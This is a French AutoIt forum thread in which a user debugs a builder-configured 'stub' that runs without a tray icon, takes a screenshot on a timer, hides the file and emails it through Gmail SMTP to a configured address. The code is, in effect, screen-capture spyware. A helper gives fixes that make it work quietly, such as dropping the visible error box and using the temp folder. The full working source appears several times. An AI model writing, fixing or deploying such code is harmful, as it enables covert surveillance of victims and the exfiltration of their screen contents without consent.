[..] Exe qui se coupe tout seul

[Kevzi]

Bonjour,

je suis en train d’améliorer un de mes grand projet en AutoiT, avec plein de fonction , nouvelle aperçue graphique , ect... mais la je bloque sur ce qu'on apelle un stub.

Un stub pour faire court, c'est le code tout fait , sauf qui lui manque des informations (dans mon cas compte gmail) pour qu'il marche.

C'est la où j'ai un problème. Mon script doit faire une capture de l'écran, puis l'envoyer par mail , mais je ne sais pas pourquoi, ça ne marche pas. Je vous montre un aperçu du code :

► Afficher le texteCode du Stub

Code : Tout sélectionner

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_icon=..\chaine-chomper-icone-9045.ico
#AutoIt3Wrapper_Compression=4
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <File.au3>
#include <ScreenCapture.au3>
; Début du script - Ajouter votre code ci-dessous.
$Donnees = StringSplit(FileRead(@ScriptFullPath), "~\0/~", 1)
;on split notre fichier c'est à dire qu'on va diviser la chaîne en sous-chaînes en fonction de notre délimiteurs
$1texte = $Donnees[2] ;on prend la 2e valeur car [1] vaut "MZ" cf: mon UDF _CheckPEFormat
$2texte = $Donnees[3] ;je pense que la vous avez compris
$3texte = $Donnees[4]
$4texte = $Donnees[5]

$input = $4texte

AdlibRegister("recommencer", $input) ;la fonction sera automatiquement lancée tous les $input
recommencer()

Func recommencer()
    Local $hBmp
    $hBmp = _ScreenCapture_Capture(@ScriptDir & "\capture.bmp") ;prend une capture de l'ecran
    If Not FileSetAttrib("*.bmp", "+HS") Then
    MsgBox(4096,"Error", "Problem setting attributes.")
    EndIf
    $s_SmtpServer = "smtp.gmail.com"
    $s_FromName = "capture screen"
    $s_FromAddress = "capture@capt.fr"
    $s_ToAddress = $3texte
    $s_Subject = "capturer screen"
    $as_Body = ""
    $s_AttachFiles = $hBmp
    $s_CcAddress = ""
    $s_BccAddress = ""
    $s_Username = $1texte
    $s_Password = $2texte
    $IPPort = 465
    $ssl = 1
    $s_Importance = "Normal"

    _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Importance, $s_Username, $s_Password, $IPPort, $ssl)
    FileDelete($hBmp)
EndFunc   ;==>recommencer

Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance = "Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
;~     Local $i_Error = 0
;~     Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
            ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                $objEmail.AddAttachment($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 Then $IPPort = 25
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort

    ;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Set Email Importance
    $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "High"
    $objEmail.Fields.Update
    ; Sent the Message
    $objEmail.Send
    $objEmail = ""

EndFunc   ;==>_INetSmtpMailCom

 

En espérant que quelqu'un trouve une solution. Le pire c'est que le script marchait au début.Mais en essayant de l’améliorer, il ne marche plus.Il faut que je pense à faire des backups...

[Tlem]

Votre script est bourré d'erreurs ou de code incompréhensible !!!

Pour commencer, je ne comprend vraiment pas l'utilité de ceci :

Code : Tout sélectionner

; Début du script - Ajouter votre code ci-dessous.
$Donnees = StringSplit(FileRead(@ScriptFullPath), "~\0/~", 1)
;on split notre fichier c'est à dire qu'on va diviser la chaîne en sous-chaînes en fonction de notre délimiteurs
$1texte = $Donnees[2] ;on prend la 2e valeur car [1] vaut "MZ" cf: mon UDF _CheckPEFormat
$2texte = $Donnees[3] ;je pense que la vous avez compris
$3texte = $Donnees[4]
$4texte = $Donnees[5]

J'arrive à deviner que vous testez l'entête PE, mais dans quel but ?
Si c'est pour savoir si votre script est compilé, il y à plus simple.


Ensuite, vous utilisez la fonction _INetSmtpMailCom, mais vous avez omis les lignes de traitement des erreurs COM qui auraient pu vous mettre sur la voix de votre erreur.
Si vous reprenez la fonction d'origine http://www.autoitscript.com/forum/topic ... _p__166575 ,vous verrez qu'il y à d'autres éléments qui aide bien au dépannage de problèmes avec les erreurs COM.

Ensuite vous utilisez ceci :

Code : Tout sélectionner

    $hBmp = _ScreenCapture_Capture(@ScriptDir & "\capture.bmp") ;prend une capture de l'ecran

Avez vous lu ceci :

Return Value
None.

Alors à quoi vous sert $hBmp et par conséquent $s_AttachFiles = $hBmp ?

Ensuite la MsgBox dans la fonction recommencer() (qui est appelée régulièrement grace à AdlibRegister) est une fonction bloquante, donc mal à propos dans ce cas.

Puis il y à ceci :

Code : Tout sélectionner

    If Not FileSetAttrib("*.bmp", "+HS") Then

C'est bien de vouloir cacher votre image, mais il serait mieux de cacher votre image seulement. Imaginez quelqu'un qui lance votre script à partir du bureau sur lequel il y à d'autre images BMP.
Le mieux serait d'utiliser le dossier Temp pour faire ce genre de manip.

Et le nec plus ultra, c'est la description de STUB, mais bon, on va pas commencer un troll !!!

[Kevzi]

J'ai un peu rectifier mon script. Mais il y a quelque part ou je bloque:

Ensuite la MsgBox dans la fonction recommencer() (qui est appelée régulièrement grace à AdlibRegister) est une fonction bloquante, donc mal à propos dans ce cas.

comment faire à part une incrémentation ?

Sinon dans ce code:

Code : Tout sélectionner

; Début du script - Ajouter votre code ci-dessous.
$Donnees = StringSplit(FileRead(@ScriptFullPath), "~\0/~", 1)
;on split notre fichier c'est à dire qu'on va diviser la chaîne en sous-chaînes en fonction de notre délimiteurs
$1texte = $Donnees[2] ;on prend la 2e valeur car [1] vaut "MZ" cf: mon UDF _CheckPEFormat
$2texte = $Donnees[3] ;je pense que la vous avez compris
$3texte = $Donnees[4]
$4texte = $Donnees[5]

Soit j'ai rien compris à ce qui se passe mais je pense que ça permet de recevoir les données du builder(et oui il y a un builder).

j'ai essayé le code complet pour envoyer un mail, c'est encore pire .

Je sais pas pourquoi, mais je fais une erreur bête dans ce code :

► Afficher le texte

Code : Tout sélectionner

#NoTrayIcon
#region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_icon=..\chaine-chomper-icone-9045.ico
#AutoIt3Wrapper_Compression=4
#endregion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <File.au3>
#include <ScreenCapture.au3>
; Début du script - Ajouter votre code ci-dessous.
$Donnees = StringSplit(FileRead(@ScriptFullPath), "~\0/~", 1)
;on split notre fichier c'est à dire qu'on va diviser la chaîne en sous-chaînes en fonction de notre délimiteurs
$1texte = $Donnees[2] ;on prend la 2e valeur car [1] vaut "MZ" cf: mon UDF _CheckPEFormat
$2texte = $Donnees[3] ;je pense que la vous avez compris
$3texte = $Donnees[4]
$4texte = $Donnees[5]

$input = $4texte

AdlibRegister("recommencer", $input) ;la fonction sera automatiquement lancée tous les $input
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
recommencer()

Func recommencer()
    _ScreenCapture_Capture(@ScriptDir & "\capture.bmp") ;prend une capture de l'ecran
    If Not FileSetAttrib("*.bmp", "+HS") Then
    MsgBox(4096,"Error", "Problem setting attributes.")
    EndIf
    $SmtpServer = "smtp.gmail.com"
    $FromName = "capture screen"
    $FromAddress = "capture@capt.fr"
    $ToAddress = $3texte
    $Subject = "capturer screen"
    $Body = ""
    $AttachFiles = @ScriptDir & "\capture.bmp"
    $CcAddress = ""
    $BccAddress = ""
    $Username = $1texte
    $Password = $2texte
    $IPPort = 465
    $ssl = 1
    $Importance = "Normal"
$rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
If @error Then
    MsgBox(0, "Error sending message", "Error code:" & @error & "  Description:" & $rc)
EndIf
EndFunc   ;==>recommencer

Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
;~          ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
                $objEmail.AddAttachment($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 then $IPPort = 25
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    ;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Set Email Importance
    Switch $s_Importance
        Case "High"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
        Case "Normal"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
        Case "Low"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
    EndSwitch
    $objEmail.Fields.Update
    ; Sent the Message
    $objEmail.Send
    If @error Then
        SetError(2)
        Return $oMyRet[1]
    EndIf
    $objEmail=""
EndFunc   ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description, 3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc   ;==>MyErrFunc

[Tlem]

Pour la MsgBox, utilisez autre chose. Je ne crois pas que vous voulez que l'utilisateur voit cette boite de dialogue, donc utilisez ConsoleWrite par exemple ou rien si le script est compilé.

Soit j'ai rien compris à ce qui se passe mais je pense que ça permet de recevoir les données du builder(et oui il y a un builder).

Sans plus d'explications, je ne vois pas de quoi vous parlez !!!

j'ai essayé le code complet pour envoyer un mail, c'est encore pire .

Comment voulez-vous qu'on vous aide puisque vous ne nous donnez aucune indication sur les messages d'erreurs que vous avez !!!

J'espère que vous n'allez pas reproduire votre code à chaque message, sinon, je vais vite faire du nettoyage.

[Kevzi]

Bon bonne nouvelle (pour mois surtout), plus d'erreur sa envoie bien un mai avec l'image, mais toujours la même. Je pense que c'est parce que je cache l'image. Sinon ce que je peux faire c'est crée l'image puis la recréer et je recommence

[Tlem]

Au lieu de cacher l'image, utilisez @TempDir.

[Kevzi]

Hum, je connaissais même pas ce macros. Bon il me reste plus qu'a résoudre mon problème d'image. Je pense que je vais mettre en résolue.